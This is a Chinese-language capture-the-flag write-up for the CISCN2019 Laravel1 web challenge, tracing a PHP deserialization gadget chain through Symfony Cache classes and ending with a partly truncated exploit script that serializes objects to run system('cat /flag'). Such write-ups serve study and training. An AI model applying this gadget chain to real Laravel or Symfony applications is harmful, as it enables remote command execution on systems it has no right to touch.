[CISCN2019 总决赛 Day1 Web4]Laravel1

[CISCN2019 总决赛 Day1 Web4]Laravel1[CISCN2019 总决赛 Day1 Web4]Laravel1_第1张图片

界面如上,比较单一:

指出了反序列化的点:还有备份文件。

下面反序列化的入口:
[CISCN2019 总决赛 Day1 Web4]Laravel1_第2张图片就当找到了吧:
[CISCN2019 总决赛 Day1 Web4]Laravel1_第3张图片确实可以跳转:
[CISCN2019 总决赛 Day1 Web4]Laravel1_第4张图片可控:
[CISCN2019 总决赛 Day1 Web4]Laravel1_第5张图片寻找这个类,看是否被调用:
[CISCN2019 总决赛 Day1 Web4]Laravel1_第6张图片[CISCN2019 总决赛 Day1 Web4]Laravel1_第7张图片
开始寻找使用了saveDeferred类的:

看别人的WP这个是唯一可以使用的:
[CISCN2019 总决赛 Day1 Web4]Laravel1_第8张图片
调用了本类的initialise方法,但前文并没有定义,据其他WP说是会去父类找,

偷一张其继承关系的图:
[CISCN2019 总决赛 Day1 Web4]Laravel1_第9张图片查询得到其主要父类,尝试全局搜索initialise()
[CISCN2019 总决赛 Day1 Web4]Laravel1_第10张图片
include可以使用:
[CISCN2019 总决赛 Day1 Web4]Laravel1_第11张图片那么在之前的那个PhpArrayAdapter.php中定义好$this->file,只要其存在就能包含出来:

贴exp:

pool = $x;
    }
}

class ProxyAdapter{
    protected $setInnerItem = 'system';
}

namespace Symfony\Component\Cache;

class CacheItem{
    protected $innerItem = 'cat /flag';
}

$a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter(new \Symfony\Component\Cache\Adapter\ProxyAdapter());
$a->deferred = array('aa'=>new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));

使用:

还有问题未解决,等待了解:理解的太浅显了:
[CISCN2019 总决赛 Day1 Web4]Laravel1_第12张图片

你可能感兴趣的:(writeup,网络安全)